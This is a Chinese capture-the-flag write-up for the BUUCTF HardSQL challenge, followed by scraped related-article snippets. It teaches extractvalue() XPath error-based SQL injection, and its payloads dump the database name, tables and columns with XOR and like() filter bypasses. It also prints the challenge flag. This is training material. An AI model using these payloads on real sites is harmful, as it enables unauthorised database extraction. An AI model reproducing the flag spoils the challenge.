来到sql注入骚姿势,我们一点一点开始学

我们来到这道题,然后尝试注入,结果发现

拼接'or '1'='1

  'or '1'='2如果是字符型注入则会报错,然而并没有而是显示的页面一样,

通过常规注入,回显的页面都是

最后,我们发现这道题是xpath报错注入,函数注入

extractvalue()
extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 :   第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

      正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

tip: 还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

再举个栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这个语句就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

知道这些知识之后,我们开始注入吧

百度了web 的骚操作
用’^'来连接函数,形成异或
这边用的是extractvalue()

我们先去爆数据库:

先构造payload:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23

于是我们知道了库名叫:geek

然后,我们再payload爆表名,但是这里把等于号给我们过滤了,不过我们还有骚操作like用法

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))

于是爆出表名:

爆列名:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

爆数据就完事了,这里因为用extractvalue()函数,一次只能显示32个字符,我们需要用right函数

再用right函数,爆右边,然后拼接一下flag

拼接然后得到flag

flag{62b5ffa6-498c-465f-94e5-ddc474f549dc}

BUUCTF-[极客大挑战 2019]HardSQL 1详解的更多相关文章

  1. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  2. [极客大挑战 2019]HardSQL

    0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...

  3. 刷题[极客大挑战 2019]HardSQL

    解题思路 打开是一个登陆框,考点sql注入了,先正常尝试一波 发现居然是get类型 输入and发现有waf过滤,那fuzz一波看看过滤了什么 fuzz union被过滤,并且绕过union的几种方法同 ...

  4. [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)

    简介  原题复现:  考察知识点:SQL注入(报错注入,绕过过滤)  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...

  5. [极客大挑战 2019]HardSQL updatexml报错注入小结

    报错注入链接: https://www.cnblogs.com/richardlee97/p/10617115.html报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQL的官方说法,grou ...

  6. BUUCTF-[极客大挑战 2019]BabySQL 1 详解

    打开靶机 应该是love sql惹的事吧,来了个加强版本的sql注入,不过我们先输入账号密码看有什么反应 整一手万能密码,闭合双引号?username=admin&password=admin ...

  7. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  8. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  9. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

随机推荐

  1. parseQueryString

    var parseQueryString = function (url) {    var reg = /([^\?\=\&]+)\=([^\?\=\&]*)/g;    var o ...

  2. pip更新命令

    python -m pip install --upgrade pip 更新时如果报错'NoneType' object has no attribute 'bytes', 解决办法:easy_ins ...

  3. Docker镜像下载很慢,各种加速无效

    mcr.microsoft.com/dotnet/......   改成: dockerhub.azk8s.cn/dotnet/...... 或 mcr.azk8s.cn/dotnet/......

  4. Linux实战(11):Centos安装Jenkins

    前言 本文采用的是yum安装方式. 环境安装 以下操作为配置java8,node,maven,注意装之前请将其他版本删除干净, 离线包下载 tar -zxvf apache-maven-3.6.3-b ...

  5. netty字节分包

    高并发压测时,发现来自网关的消息出现粘包现象:分包就是势在必行的 前置和处理平台(暂时)使用netty通话,由于都是服务器平台使用DelimiterBasedFrameDecoder来解决分包 和网关 ...

  6. Java 里的 for (;;) 与 while (true),哪个更快?

    在 JDK8u 的 jdk 项目下做个很粗略的搜索: mymbp:/Users/me/workspace/jdk8u/jdk/src$ egrep -nr "for \\(\\s?;\\s? ...

  7. 基本的PID算法整理(水缸的例子有问题!!)

    一,先谈关于水缸漏水的问题 谈到PID原理入门的时候,大家经常会举的一个例子就是水缸漏水的例子.这里把一个解释水缸漏水的帖子放在这里:https://blog.csdn.net/qq_41736609 ...

  8. Spring系列之新注解配置+Spring集成junit+注解注入

    Spring系列之注解配置 Spring是轻代码而重配置的框架,配置比较繁重,影响开发效率,所以注解开发是一种趋势,注解代替xml配置文件可以简化配置,提高开发效率 你本来要写一段很长的代码来构造一个 ...

  9. 刷题[安洵杯 2019]easy_web

    前置知识 md5碰撞: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e% ...

  10. Java程序运行内存机制

    Java程序运行内存机制 栈内存包留调用方法.变量的区域,堆内存是new对象的区域,方法区为保存class文件的区域. 程序刚开始时,先加载类文件相应的数据到方法区,然后就从main()方法开始执行. ...